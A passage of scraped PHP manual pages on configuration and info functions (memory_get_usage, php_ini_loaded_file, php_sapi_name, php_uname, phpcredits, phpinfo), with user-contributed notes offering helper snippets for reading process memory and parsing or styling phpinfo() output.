[EDIT by danbrown AT php DOT net: This function will only extend Windows versions of PHP where the server has the required third-party software.]

I was unable to get the previous examples working properly and created code which works at least for me. Enjoy!

<?php
// Please note that you'll need the pslist.exe utility from http://www.sysinternals.com/Utilities/PsTools.html
// This is because win/2000 itself does not provide a task list utility.
//
function getMemoryUsage() {

 // try to use PHP build in function
 if( function_exists('memory_get_usage') ) {
  return memory_get_usage();
 }

 // Try to get Windows memory usage via pslist command
 if ( substr(PHP_OS,0,3) == 'WIN') {

  $resultRow = 8;
  $resultRowItemStartPosition = 34;
  $resultRowItemLength = 8;

  $output = array();
  exec('pslist -m ' . getmypid() , $output);

  return trim(substr($output[$resultRow], $resultRowItemStartPosition, $resultRowItemLength)) . ' KB';

 }

 // No memory functionality available at all
 return '<b style="color: red;">no value</b>';

}
?>
guenter_doege at web dot de 10-Jul-2005 11:28
The Win XP / 2003 workaround script will also work with windows 2000 with a few slight modifications.

Please note that you'll need the pslist.exe utility from http://www.sysinternals.com/Utilities/PsTools.html because win/2000 itself does not provide a task list utility.

<?php

function getMemUsage()
{

       if (function_exists('memory_get_usage'))
       {
           return memory_get_usage();
       }
       else if ( substr(PHP_OS,0,3) == 'WIN')
       {
           // Windows 2000 workaround

           $output = array();
           exec('pslist ' . getmypid() , $output);
           return trim(substr($output[8],38,10));
       }
       else
       {
           return '<b style="color: red;">no value</b>';
       }
}
?>
MagicalTux at FF dot st 25-May-2005 12:08
When you need to get the OS, do not use $_SERVER['OS'] or $_ENV['OS'], better use PHP_OS constant !
<?php
if (substr(PHP_OS,0,3)=='WIN') {
  // [...]
}
?>

You also have other values such as CYGWIN_NT-5.0, Linux, ... this is the best way to get system's os (anyone on linux can do an "export OS=windows")
webNOSPAMsjwans at hotmail dot com 01-Dec-2004 07:09
A quick and dirty Windows XP / 2003 wordaround:

<?php

function getMemUsage()
{

        if (function_exists('memory_get_usage'))
        {
            return memory_get_usage();
        }
        else if ( strpos( strtolower($_SERVER["OS"]), 'windows') !== false)
        {
            // Windows workaround
            $output = array();

            exec('tasklist /FI "PID eq ' . getmypid() . '" /FO LIST', $output);
            return substr($output[5], strpos($output[5], ':') + 1);
        }
        else
        {
            return '<b style="color: red;">no value</b>';
        }
}

?>
randolphothegreat at yahoo dot com 29-Nov-2004 01:37
[EDIT by danbrown AT php DOT net: This is intended by the author to only be used with PHP 4 < 4.3.2.]

I'd just like to point out that although sandeepc at myrealbox dot com's idea for displaying the current memory usage is a good one, it's perhaps a bad idea to pipe the entire process list through grep. A better performing method would be to select only the process we're interested in:

<?php
$pid = getmypid();
error_log('MEMORY USAGE (% KB PID ): ' . `ps --pid $pid --no-headers -o%mem,rss,pid`);
?>

True, it's not much of a performance boost, but every bit helps.
ad-rotator.com 14-May-2004 10:31
The method sandeepc at myrealbox dot com posted yields larger memory usage, my guess is that it includes all the PHP interpreter/internal code and not just the script being run.

1) Use ps command
MEMORY USAGE (% KB PID ):  0.8 12588 25087 -> about 12MB
2) Use memory_get_usage()
int(6041952) -> about 6MB
memory_get_peak_usage
php_ini_loaded_file
PHP Options/Info Functions


Retrieve a path to the loaded php.ini file

memory_get_usage
php_ini_scanned_files
PHP Options/Info Functions
PHP Manual

php_ini_loaded_file

(PHP 5 >= 5.2.4)

php_ini_loaded_file — Retrieve a path to the loaded php.ini file

Description

string php_ini_loaded_file ( void )

Check if a php.ini file is loaded, and retrieve its path.

Parameters

This function has no parameters.

Return Values

The loaded php.ini path, or FALSE if one is not loaded.

Examples

Example #1 php_ini_loaded_file() example

<?php
$inipath = php_ini_loaded_file();

if ($inipath) {
    echo 'Loaded php.ini: ' . $inipath;
} else {
    echo 'A php.ini file is not loaded';
}
?>

The above example will output something similar to:

Loaded php.ini: /usr/local/php/php.ini

See Also

  • php_ini_scanned_files() - Return a list of .ini files parsed from the additional ini dir
  • phpinfo() - Outputs information about PHP's configuration
  • The configuration file

User Contributed Notes

There are no user contributed notes for this page.
memory_get_usage
php_ini_scanned_files
PHP Options/Info Functions


Return a list of .ini files parsed from the additional ini dir

php_ini_loaded_file
php_logo_guid
PHP Options/Info Functions
PHP Manual

php_ini_scanned_files

(PHP 4 >= 4.3.0, PHP 5)

php_ini_scanned_files — Return a list of .ini files parsed from the additional ini dir

Description

string php_ini_scanned_files ( void )

php_ini_scanned_files() returns a comma-separated list of configuration files parsed after php.ini. These files are found in a directory defined by the --with-config-file-scan-dir option which is set during compilation.

The returned configuration files also include the path as declared in the --with-config-file-scan-dir option.

Return Values

Returns a comma-separated string of .ini files on success. Each comma is followed by a newline. If the directive --with-config-file-scan-dir wasn't set, FALSE is returned. If it was set and the directory was empty, an empty string is returned. If a file is unrecognizable, the file will still make it into the returned string but a PHP error will also result. This PHP error will be seen both at compile time and while using php_ini_scanned_files().

Examples

Example #1 A simple example to list the returned ini files

<?php
if ($filelist = php_ini_scanned_files()) {
    if (strlen($filelist) > 0) {
        $files = explode(',', $filelist);

        foreach ($files as $file) {
            echo "<li>" . trim($file) . "</li>\n";
        }
    }
}
?>

See Also

  • ini_set() - Sets the value of a configuration option
  • phpinfo() - Outputs information about PHP's configuration
  • php_ini_loaded_file() - Retrieve a path to the loaded php.ini file

User Contributed Notes

There are no user contributed notes for this page.
php_ini_loaded_file
php_logo_guid
PHP Options/Info Functions


Gets the logo guid

php_ini_scanned_files
php_sapi_name
PHP Options/Info Functions
PHP Manual

php_logo_guid

(PHP 4, PHP 5)

php_logo_guid — Gets the logo guid

Description

string php_logo_guid ( void )

This function returns the ID which can be used to display the PHP logo using the built-in image. Logo is displayed only if expose_php is On.

Return Values

Returns PHPE9568F34-D428-11d2-A769-00AA001ACF42.

Examples

Example #1 php_logo_guid() example

<?php

echo '<img src="' . $_SERVER['PHP_SELF'] .
     '?=' . php_logo_guid() . '" alt="PHP Logo !" />';

?>

See Also

  • phpinfo() - Outputs information about PHP's configuration
  • phpversion() - Gets the current PHP version
  • phpcredits() - Prints out the credits for PHP
  • zend_logo_guid() - Gets the Zend guid

User Contributed Notes

Anonymous 18-Jun-2010 10:57
There's also php_egg_logo_guid() which returns the "easter egg" version of the logo. Same usage.
php_ini_scanned_files
php_sapi_name
PHP Options/Info Functions


Returns the type of interface between web server and PHP

php_logo_guid
php_uname
PHP Options/Info Functions
PHP Manual

php_sapi_name

(PHP 4 >= 4.0.1, PHP 5)

php_sapi_name — Returns the type of interface between web server and PHP

Description

string php_sapi_name ( void )

Returns a lowercase string that describes the type of interface (the Server API, SAPI) that PHP is using. For example, in CLI PHP this string will be "cli" whereas with Apache it may have several different values depending on the exact SAPI used. Possible values are listed below.

Return Values

Returns the interface type, as a lowercase string.

Although not exhaustive, the possible return values include aolserver, apache, apache2filter, apache2handler, caudium, cgi (until PHP 5.3), cgi-fcgi, cli, continuity, embed, isapi, litespeed, milter, nsapi, phttpd, pi3web, roxen, thttpd, tux, and webjames.

Examples

Example #1 php_sapi_name() example

This example checks for the substring cgi because it may also be cgi-fcgi.

<?php
$sapi_type = php_sapi_name();
if (substr($sapi_type, 0, 3) == 'cgi') {
    echo "You are using CGI PHP\n";
} else {
    echo "You are not using CGI PHP\n";
}
?>

Notes

Note: An alternative approach

The PHP constant PHP_SAPI has the same value as php_sapi_name().

Tip

A potential gotcha

The defined SAPI may not be obvious, because for example instead of apache it may be defined as apache2handler or apache2filter.

See Also

  • PHP_SAPI

User Contributed Notes

tobias(at)tobias(-)net(dot)nl 04-Jan-2012 07:31
You can check whether the user is using CLI or browser by running this script:

<?php
if (isset ($_SERVER['SESSIONNAME'])) echo 'CLI';
else echo 'Browser';
?>
michal at roszka dot pl 26-Mar-2009 01:13
The php_sapi_name() function is extremely useful when you want to determine the type of interface. There is, however, one more gotcha you need to be aware of while designing your application or deploying it to an unknown server.

Whenever something depends on the type of interface, make sure your check is conclusive. Especially when you want to distinguish the command line interface (CLI) from the common gateway interface (CGI).

Note, that the php-cgi binary can be called from the command line, from a shell script or as a cron job as well! If so, the php_sapi_name() will always return the same value (i.e. "cgi-fcgi") instead of "cli" which you could expect.

Bad things happen to good people. Do not always expect /usr/bin/php to be a link to php-cli binary.

Luckily the contents of the $_SERVER and the $_ENV superglobal arrays depends on whether the php-cgi binary is called from the command line interface (by a shell script, by the cron, etc.) or by some HTTP server (i.e. lighttpd).

<?php
var_dump($_SERVER);
?>

Try to call php-cgi binary from the command line interface and then via HTTP request and compare the output of the script above. There will be plenty options to satisfy almost everyone.

For the sake of security remember, that contents of the $_SERVER and the $_ENV superglobal arrays (as well as $_GET, $_POST, $_COOKIE, $_FILES and $_REQUEST) should be considered tainted.
Ysangkok 27-Aug-2008 02:34
This function can also return "cli" if PHP was launched from CLI. Useful if one wants to behave differently when running in console.
php_logo_guid
php_uname
PHP Options/Info Functions


Returns information about the operating system PHP is running on

php_sapi_name
phpcredits
PHP Options/Info Functions
PHP Manual

php_uname

(PHP 4 >= 4.0.2, PHP 5)

php_uname — Returns information about the operating system PHP is running on

Description

string php_uname ([ string $mode = "a" ] )

php_uname() returns a description of the operating system PHP is running on. This is the same string you see at the very top of the phpinfo() output. For the name of just the operating system, consider using the PHP_OS constant, but keep in mind this constant will contain the operating system PHP was built on.

On some older UNIX platforms, it may not be able to determine the current OS information in which case it will revert to displaying the OS PHP was built on. This will only happen if your uname() library call either doesn't exist or doesn't work.

Parameters

mode

mode is a single character that defines what information is returned:

  • 'a': This is the default. Contains all modes in the sequence "s n r v m".
  • 's': Operating system name. eg. FreeBSD.
  • 'n': Host name. eg. localhost.example.com.
  • 'r': Release name. eg. 5.1.2-RELEASE.
  • 'v': Version information. Varies a lot between operating systems.
  • 'm': Machine type. eg. i386.

Return Values

Returns the description, as a string.

Examples

Example #1 Some php_uname() examples

<?php
echo php_uname();
echo PHP_OS;

/* Some possible outputs:
Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686
Linux

FreeBSD localhost 3.2-RELEASE #15: Mon Dec 17 08:46:02 GMT 2001
FreeBSD

Windows NT XN1 5.1 build 2600
WINNT
*/

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
    echo 'This is a server using Windows!';
} else {
    echo 'This is a server not using Windows!';
}

?>

There are also some related Predefined PHP constants that may come in handy, for example:

Example #2 A few OS related constant examples

<?php
// *nix
echo DIRECTORY_SEPARATOR; // /
echo PHP_SHLIB_SUFFIX;    // so
echo PATH_SEPARATOR;      // :

// Win*
echo DIRECTORY_SEPARATOR; // \
echo PHP_SHLIB_SUFFIX;    // dll
echo PATH_SEPARATOR;      // ;
?>

See Also

  • phpversion() - Gets the current PHP version
  • php_sapi_name() - Returns the type of interface between web server and PHP
  • phpinfo() - Outputs information about PHP's configuration

User Contributed Notes

Yzmir Ramirez 24-Aug-2011 10:00
Note that php_uname('n') does not always equal $_SERVER['HOST_NAME']

The machine that you are running the script may server many different host names so don't use this when building urls.
simon at NOSPAM dot zadra dot org 19-Jan-2006 09:26
Contrary to the last note, PHP_OS does display the OS PHP runs on currently, whereas php_uname() displays the Operating system version via uname.
This has nothing to do with the system PHP was built on.
tac at smokescreen dot org 14-Jan-2005 03:25
In php 4.1.2, php_uname('n') returns a warning about an invalid parameter count.  Change it to @php_uname to hide this warning.
php_sapi_name
phpcredits
PHP Options/Info Functions


Prints out the credits for PHP

php_uname
phpinfo
PHP Options/Info Functions
PHP Manual

phpcredits

(PHP 4, PHP 5)

phpcredits — Prints out the credits for PHP

Description

bool phpcredits ([ int $flag = CREDITS_ALL ] )

This function prints out the credits listing the PHP developers, modules, etc. It generates the appropriate HTML codes to insert the information in a page.

Parameters

flag

To generate a custom credits page, you may want to use the flag parameter.

Pre-defined phpcredits() flags
name | description
CREDITS_ALL | All the credits, equivalent to using: CREDITS_DOCS + CREDITS_GENERAL + CREDITS_GROUP + CREDITS_MODULES + CREDITS_FULLPAGE. It generates a complete stand-alone HTML page with the appropriate tags.
CREDITS_DOCS | The credits for the documentation team
CREDITS_FULLPAGE | Usually used in combination with the other flags. Indicates that a complete stand-alone HTML page needs to be printed including the information indicated by the other flags.
CREDITS_GENERAL | General credits: Language design and concept, PHP authors and SAPI module.
CREDITS_GROUP | A list of the core developers
CREDITS_MODULES | A list of the extension modules for PHP, and their authors
CREDITS_SAPI | A list of the server API modules for PHP, and their authors

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Prints the general credits

<?php
phpcredits(CREDITS_GENERAL);
?>

Example #2 Prints the core developers and the documentation group

<?php
phpcredits(CREDITS_GROUP | CREDITS_DOCS | CREDITS_FULLPAGE);
?>

Example #3 Printing all the credits

<html>
 <head>
  <title>My credits page</title>
 </head>
 <body>
<?php
// some code of your own
phpcredits(CREDITS_ALL - CREDITS_FULLPAGE);
// some more code
?>
 </body>
</html>

See Also

  • phpversion() - Gets the current PHP version
  • php_logo_guid() - Gets the logo guid
  • phpinfo() - Outputs information about PHP's configuration

User Contributed Notes

There are no user contributed notes for this page.
php_uname
phpinfo
PHP Options/Info Functions


Outputs information about PHP's configuration

phpcredits
phpversion
PHP Options/Info Functions
PHP Manual

phpinfo

(PHP 4, PHP 5)

phpinfo — Outputs information about PHP's configuration

Description

bool phpinfo ([ int $what = INFO_ALL ] )

Outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment (if compiled as a module), the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License.

Because every system is setup differently, phpinfo() is commonly used to check configuration settings and for available predefined variables on a given system.

phpinfo() is also a valuable debugging tool as it contains all EGPCS (Environment, GET, POST, Cookie, Server) data.

Parameters

what

The output may be customized by passing one or more of the following constants bitwise values summed together in the optional what parameter. One can also combine the respective constants or bitwise values together with the or operator.

phpinfo() options
Name (constant) | Value | Description
INFO_GENERAL | 1 | The configuration line, php.ini location, build date, Web Server, System and more.
INFO_CREDITS | 2 | PHP Credits. See also phpcredits().
INFO_CONFIGURATION | 4 | Current Local and Master values for PHP directives. See also ini_get().
INFO_MODULES | 8 | Loaded modules and their respective settings. See also get_loaded_extensions().
INFO_ENVIRONMENT | 16 | Environment Variable information that's also available in $_ENV.
INFO_VARIABLES | 32 | Shows all predefined variables from EGPCS (Environment, GET, POST, Cookie, Server).
INFO_LICENSE | 64 | PHP License information. See also the » license FAQ.
INFO_ALL | -1 | Shows all of the above.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.2.2 | The "Loaded Configuration File" information was added, when before only "Configuration File (php.ini) Path" existed.

Examples

Example #1 phpinfo() Example

<?php

// Show all information, defaults to INFO_ALL
phpinfo();

// Show just the module information.
// phpinfo(8) yields identical results.
phpinfo(INFO_MODULES);

?>

Notes

Note:

Parts of the information displayed are disabled when the expose_php configuration setting is set to off. This includes the PHP and Zend logos, and the credits.

Note:

phpinfo() outputs plain text instead of HTML when using the CLI mode.

See Also

  • phpversion() - Gets the current PHP version
  • phpcredits() - Prints out the credits for PHP
  • php_logo_guid() - Gets the logo guid
  • ini_get() - Gets the value of a configuration option
  • ini_set() - Sets the value of a configuration option
  • get_loaded_extensions() - Returns an array with the names of all modules compiled and loaded
  • Predefined Variables

User Contributed Notes

Ken 13-Dec-2011 06:52
Hi.

Here my version of saving php_info into an array:

<?php
function phpinfo_array()
{
    ob_start();
    phpinfo();
    $info_arr = array();
    $info_lines = explode("\n", strip_tags(ob_get_clean(), "<tr><td><h2>"));
    $cat = "General";
    foreach($info_lines as $line)
    {
        // new cat?
        preg_match("~<h2>(.*)</h2>~", $line, $title) ? $cat = $title[1] : null;
        if(preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~", $line, $val))
        {
            $info_arr[$cat][$val[1]] = $val[2];
        }
        elseif(preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~", $line, $val))
        {
            $info_arr[$cat][$val[1]] = array("local" => $val[2], "master" => $val[3]);
        }
    }
    return $info_arr;
}

// example:
echo "<pre>".print_r(phpinfo_array(), 1)."</pre>";
?>
pokusman at gmail dot com 16-Oct-2011 07:10
Editable css for phpinfo() all what you need is change css properies...

<style type="text/css">

#phpinfo body, td, th, h1, h2 {font-family: sans-serif;}
#phpinfo pre {margin: 0px; font-family: monospace;}
#phpinfo a:link {color: #000099; text-decoration: none; background-color: #ffffff;}
#phpinfo a:hover {text-decoration: underline;}
#phpinfo table {border-collapse: collapse; width:100%}
#phpinfo .center {text-align: center;}
#phpinfo .center table { margin-left: auto; margin-right: auto; text-align: left;}
#phpinfo .center th { text-align: center !important; }
#phpinfo td, th { border: 1px solid #000000; font-size: 100%; vertical-align: baseline;}
#phpinfo h1 {font-size: 150%;}
#phpinfo h2 {font-size: 125%;}
#phpinfo .p {text-align: left;}
#phpinfo .e {background-color: #ccccff; font-weight: bold; color: #000000;}
#phpinfo .h {background-color: #9999cc; font-weight: bold; color: #000000;}
#phpinfo .v {background-color: #cccccc; color: #000000;}
#phpinfo .vr {background-color: #cccccc; text-align: right; color: #000000;}
#phpinfo img {float: right; border: 0px;}
#phpinfo hr {width: 800px; background-color: #cccccc; border: 0px; height: 1px; color: #000000;}
</style>

<div id="phpinfo">
<?php

ob_start () ;
phpinfo () ;
$pinfo = ob_get_contents () ;
ob_end_clean () ;

// the name attribute "module_Zend Optimizer" of an anker-tag is not xhtml valide, so replace it with "module_Zend_Optimizer"
echo ( str_replace ( "module_Zend Optimizer", "module_Zend_Optimizer", preg_replace ( '%^.*<body>(.*)</body>.*$%ms', '$1', $pinfo ) ) ) ;

?>
</div>
arimbourg at ariworld dot eu 08-Nov-2010 07:28
This is necessary to obtain a W3C validation (XHTML1.0 Transitionnal)...
phpinfo's output is declared with that DTD :
- "System ID" has the wrong url to validate : "DTD/xhtml1-transitional.dtd" rather than "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
- Some module names contains space and the function's output use the name in anchors as ID and NAME. these attributes can't be validated like that (unique name only).

<?php

ob_start ();

ob_start ();                              // Capturing
phpinfo ();                               // phpinfo ()
$info = trim (ob_get_clean ());           // output

// Replace white space in ID and NAME attributes... if exists
$info = preg_replace ('/(id|name)(=["\'][^ "\']+) ([^ "\']*["\'])/i', '$1$2_$3', $info);

$imp = new DOMImplementation ();
$dtd = $imp->createDocumentType (
    'html',
    '-//W3C//DTD XHTML 1.0 Transitional//EN',
    'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'
);
$doc = $imp->createDocument (
    'http://www.w3.org/1999/xhtml',
    'html',
    $dtd
);
$doc->encoding = 'utf-8';

$info_doc = new DOMDocument ('1.0', 'utf-8');
/* Parse phpinfo's output
 * operator @ used to avoid messages about undefined entities
 * or use loadHTML instead
 */
@$info_doc->loadXML ($info);

$doc->documentElement->appendChild ( // Adding HEAD element to HTML
    $doc->importNode (
        $info_doc->getElementsByTagName ('head')->item (0),
        true                         // With all the subtree
    )
);
$doc->documentElement->appendChild ( // Adding BODY element to HTML
    $doc->importNode (
        $info_doc->getElementsByTagName ('body')->item (0),
        true                         // With all the subtree
    )
);

// Now you get a clean output and you are able to validate...
/*
echo ($doc->saveXML ());
//      OR
echo ($doc->saveHTML ());
 */

// By that way it's easy to add some style declaration :
$style = $doc->getElementsByTagName ('style')->item (0);
$style->appendChild (
    $doc->createTextNode (
        '/* SOME NEW CSS RULES TO ADD TO THE FUNCTION OUTPUT */'
    )
);

// to add some more informations to display :
$body = $doc->getElementsByTagName ('body')->item (0);
$element = $doc->createElement ('p');
$element->appendChild (
    $doc->createTextNode (
        'SOME NEW CONTENT TO DISPLAY'
    )
);
$body->appendChild ($element);

// to add a new header :
$head = $doc->getElementsByTagName ('head')->item (0);
$meta = $doc->createElement ('meta');
$meta->setAttribute ('name', 'author');
$meta->setAttribute ('content', 'arimbourg at ariworld dot eu');
$head->appendChild ($meta);

// As you wish, take the rest of the output and add it for debugging
$out = ob_get_clean ();

$pre = $doc->createElement ('div'); // or pre
$pre->setAttribute ('style', 'white-space: pre;'); // for a div element, useless with pre
$pre->appendChild ($doc->createTextNode ($out));
$body->appendChild ($pre);

$doc->formatOutput = true; // For a nice indentation
$doc->saveXML ();

?>

All that could be done with only RegExp but I prefer the use of DOM for manipulating documents
support at page2pagepro dot com 13-May-2010 10:36
I have been working extensively with portable Web Servers (i.e.: Uniform Server), and was trying to incorporate XSL, Tomcat and ASP. I decided first to 'modify' the way my php_info() appears, allowing a listing of currently loaded extensions. Hope someone finds this useful.

<?php

// Get PHP INFO
ob_start();
phpinfo();
$phpinfo = ob_get_contents();
ob_end_clean();
$phpinfo = preg_replace ('/<\/div><\/body><\/html>/', '', $phpinfo);

//HR
$hr = '<div style="width:100%;background:#000; height:10px;margin-bottom:1em;"></div>'.PHP_EOL;

//GET EXT INFO
ob_start();
echo '<table border="0" cellpadding="3" width="600">'.PHP_EOL;
echo '<tr class="h"><td><a href="http://www.php.net/">';
echo '<img border="0" src="http://static.php.net/www.php.net/images/php.gif" alt="PHP Logo" />';
echo '</a><h1 class="p">PHP Extensions</h1>'.PHP_EOL;
echo '</td></tr>'.PHP_EOL;
echo '</table><br />'.PHP_EOL;
echo '<h2>Overview</h2>'.PHP_EOL;
echo '<table border="0" cellpadding="3" width="600">'.PHP_EOL;
echo '<tr><td class="e">Extensions</td><td class="v">'.PHP_EOL;
$exts = array();
foreach (get_loaded_extensions() as $ext) {
    $exts[] = $ext;
}
echo implode(', ', $exts).PHP_EOL;
echo '</td></tr></table><br />'.PHP_EOL;
echo '<h2>Details</h2>'.PHP_EOL;
echo '<table border="0" cellpadding="3" width="600">'.PHP_EOL;
foreach ($exts as $ext) {
    echo '<tr><td class="e">'.$ext.'</td><td class="v">';
        $funcs = array();
        foreach (get_extension_funcs($ext) as $func) {
            $funcs[] = $func;
        }
        echo implode(', ', $funcs).PHP_EOL;
    echo '</td></tr>'.PHP_EOL;
}
echo '</table><br />'.PHP_EOL;
echo '</div></body></html>'.PHP_EOL;
$extinfo = ob_get_contents();
ob_end_clean();

//OUTPUT
echo $phpinfo.$hr.$extinfo;

?>
webmaster at askapache dot com 05-Dec-2008 08:48
I wanted a simple *function* to convert the output of phpinfo into an array.  Here's what I came up with thanks to alot of the previous authors tips, and the source file: php-5.2.6/ext/standard/info.c

Call this function like phpinfo_array() prints the array, phpinfo_array(1) returns the array for your own processing.

== Sample Output ==
[PHP Configuration] => Array
 (
  [PHP Version] => 5.2.6
  [PHP Egg] => PHPE9568F34-D428-11d2-A769-00AA001ACF42
  [System] => Linux askapache 2.6.22.19-grsec3
  [Build Date] => Nov 11 2008 13:09:07
  [Configure Command] =>  ./configure --prefix=/home/grsec/bin/php
  [Server API] => FastCGI

  [IPv6 Support] => enabled
 [Zend Egg] => PHPE9568F35-D428-11d2-A769-00AA001ACF42
  [PHP Credits Egg] => PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
 )

[mbstring] => Array
 (
  [mbstring.http_input] => pass
  [mbstring.internal_encoding] => Array
    (
     [0] => ISO-8859-1
     [1] => no value
    )

  [mbstring.language] => neutral
   )

[mcrypt] => Array
 (
  [Version] => 3.5.7
  [Api No] => 20031217
 )

<?php
function phpinfo_array($return=false){
 /* Andale!  Andale!  Yee-Hah! */
 ob_start();
 phpinfo(-1);

 $pi = preg_replace(
 array('#^.*<body>(.*)</body>.*$#ms', '#<h2>PHP License</h2>.*$#ms',
 '#<h1>Configuration</h1>#',  "#\r?\n#", "#</(h1|h2|h3|tr)>#", '# +<#',
 "#[ \t]+#", '#&nbsp;#', '#  +#', '# class=".*?"#', '%&#039;%',
  '#<tr>(?:.*?)" src="(?:.*?)=(.*?)" alt="PHP Logo" /></a>'
  .'<h1>PHP Version (.*?)</h1>(?:\n+?)</td></tr>#',
  '#<h1><a href="(?:.*?)\?=(.*?)">PHP Credits</a></h1>#',
  '#<tr>(?:.*?)" src="(?:.*?)=(.*?)"(?:.*?)Zend Engine (.*?),(?:.*?)</tr>#',
  "# +#", '#<tr>#', '#</tr>#'),
 array('$1', '', '', '', '</$1>' . "\n", '<', ' ', ' ', ' ', '', ' ',
  '<h2>PHP Configuration</h2>'."\n".'<tr><td>PHP Version</td><td>$2</td></tr>'.
  "\n".'<tr><td>PHP Egg</td><td>$1</td></tr>',
  '<tr><td>PHP Credits Egg</td><td>$1</td></tr>',
  '<tr><td>Zend Engine</td><td>$2</td></tr>' . "\n" .
  '<tr><td>Zend Egg</td><td>$1</td></tr>', ' ', '%S%', '%E%'),
 ob_get_clean());

 $sections = explode('<h2>', strip_tags($pi, '<h2><th><td>'));
 unset($sections[0]);

 $pi = array();
 foreach($sections as $section){
   $n = substr($section, 0, strpos($section, '</h2>'));
   preg_match_all(
   '#%S%(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?%E%#',
     $section, $askapache, PREG_SET_ORDER);
   foreach($askapache as $m)
       $pi[$n][$m[1]]=(!isset($m[3])||$m[2]==$m[3])?$m[2]:array_slice($m,2);
 }

 return ($return === false) ? print_r($pi) : $pi;
}

?>
Phelon Dudras 28-Nov-2008 01:26
A simple method to style your own phpinfo() output.

<style type="text/css">
#phpinfo {}
#phpinfo pre {}
#phpinfo a:link {}
#phpinfo a:hover {}
#phpinfo table {}
#phpinfo .center {}
#phpinfo .center table {}
#phpinfo .center th {}
#phpinfo td, th {}
#phpinfo h1 {}
#phpinfo h2 {}
#phpinfo .p {}
#phpinfo .e {}
#phpinfo .h {}
#phpinfo .v {}
#phpinfo .vr {}
#phpinfo img {}
#phpinfo hr {}
</style>

<div id="phpinfo">
<?php

ob_start () ;
phpinfo () ;
$pinfo = ob_get_contents () ;
ob_end_clean () ;

// the name attribute "module_Zend Optimizer" of an anker-tag is not xhtml valide, so replace it with "module_Zend_Optimizer"
echo ( str_replace ( "module_Zend Optimizer", "module_Zend_Optimizer", preg_replace ( '%^.*<body>(.*)</body>.*$%ms', '$1', $pinfo ) ) ) ;

?>
</div>
bcofer at gmail dot com 24-Nov-2008 09:19
My hosting company doesn't let me edit my php.ini file, but I wanted most of the same values, so I adapted one of the above posts to let me convert the information from phpinfo into a page where so can just copy and paste the info into a new php.ini file.

<?php
ob_start();
phpinfo(INFO_CONFIGURATION);
$phpinfo = array('phpinfo' => array());
if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER))
    foreach($matches as $match)
        if(strlen($match[1]))
            $phpinfo[$match[1]] = array();
        elseif(isset($match[3]))
            $phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
        else
            $phpinfo[end(array_keys($phpinfo))][] = $match[2];
?>

<?php
    foreach($phpinfo as $name => $section) {
         foreach($section as $key => $val) {
            if(is_array($val))
                echo "$key = $val[0]<br>";
            elseif(is_string($key))
                echo "$key = $val<br>";
            else
                echo "$val<br>";
        }
        echo "\n";
    }
?>
jon at sitewizard dot ca 05-Jul-2008 07:54
To extract all of the data from phpinfo into a nested array:
<?php
ob_start();
phpinfo();
$phpinfo = array('phpinfo' => array());
if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER))
    foreach($matches as $match)
        if(strlen($match[1]))
            $phpinfo[$match[1]] = array();
        elseif(isset($match[3]))
            $phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
        else
            $phpinfo[end(array_keys($phpinfo))][] = $match[2];
?>

Some examples of using individual values from the array:

<?php
    echo "System: {$phpinfo['phpinfo']['System']}<br />\n";
    echo "Safe Mode: {$phpinfo['PHP Core']['safe_mode'][0]}<br />\n";
    echo "License: {$phpinfo['PHP License'][0]}<br />\n";
?>

To display everything:

<?php
    foreach($phpinfo as $name => $section) {
        echo "<h3>$name</h3>\n<table>\n";
        foreach($section as $key => $val) {
            if(is_array($val))
                echo "<tr><td>$key</td><td>$val[0]</td><td>$val[1]</td></tr>\n";
            elseif(is_string($key))
                echo "<tr><td>$key</td><td>$val</td></tr>\n";
            else
                echo "<tr><td>$val</td></tr>\n";
        }
        echo "</table>\n";
    }
?>

Note: In order to properly retrieve all of the data, the regular expression matches table headers as well as table data, resulting in 'Local Value' and 'Global Value' showing up as 'Directive' entries.
yurkins 23-Jun-2008 07:24
big thanx 2 Mardy dot Hutchinson at gmail dot com
very good!

some fixes to correct result displaying:
1. we need to trim $matches [1], 'cause there can be empty lines;
2. not bad to remove <body> tag 'cause styles for it not apply correctly...
3. ...and change styles a little (remove "body" selector)

we need to change two lines:

<?php
preg_match ('%<style type="text/css">(.*?)</style>.*?(<body>.*</body>)%s', ob_get_clean(), $matches);
?>
to
<?php
preg_match ('%<style type="text/css">(.*?)</style>.*?<body>(.*?)</body>%s', ob_get_clean(), $matches);
?>

and

<?php
preg_split( '/\n/', $matches[1] )
?>
to
<?php
preg_split( '/\n/', trim(preg_replace( "/\nbody/", "\n", $matches[1])) )
?>

That's all! Now we have a really flexible addition to phpinfo();
Mardy dot Hutchinson at gmail dot com 09-Sep-2007 03:27
Embedding phpinfo within your page, that already has style information:

The phpinfo output is wrapped within a <div class='phpinfodisplay'>, and we privatize all the style selectors that phpinfo() creates.

